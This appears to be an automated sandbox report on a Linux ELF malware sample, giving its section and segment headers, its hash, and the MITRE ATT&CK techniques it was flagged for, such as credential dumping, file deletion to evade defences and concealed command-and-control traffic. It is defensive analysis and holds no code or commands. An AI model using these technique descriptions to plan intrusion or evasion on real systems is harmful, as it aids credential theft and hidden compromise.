Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x10094	0x94	0x1c	0x0	0x6	AX	4
.text	PROGBITS	0x100b0	0xb0	0xdb10	0x0	0x6	AX	4
.fini	PROGBITS	0x1dbc0	0xdbc0	0x14	0x0	0x6	AX	4
.rodata	PROGBITS	0x1dbd8	0xdbd8	0xc20	0x0	0x2	A	8
.ctors	PROGBITS	0x2e7fc	0xe7fc	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x2e804	0xe804	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x2e80c	0xe80c	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x2e810	0xe810	0x2b8	0x0	0x3	WA	8
.bss	NOBITS	0x2eac8	0xeac8	0x2b8	0x0	0x3	WA	8
.shstrtab	STRTAB	0x0	0xeac8	0x43	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x10000	0x10000	0xe7f8	0xe7f8	6.1162	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xe7fc	0x2e7fc	0x2e7fc	0x2cc	0x584	3.5995	0x6	RW	0x10000	.ctors .dtors .jcr .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Start time:	19:35:15
Start date:	09/02/2023
Path:	/tmp/UJA4UUHlPP.elf
Arguments:	/tmp/UJA4UUHlPP.elf
File size:	4379400 bytes
MD5 hash:	7dc1c0e23cd5e102bb12e5c29403410e

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre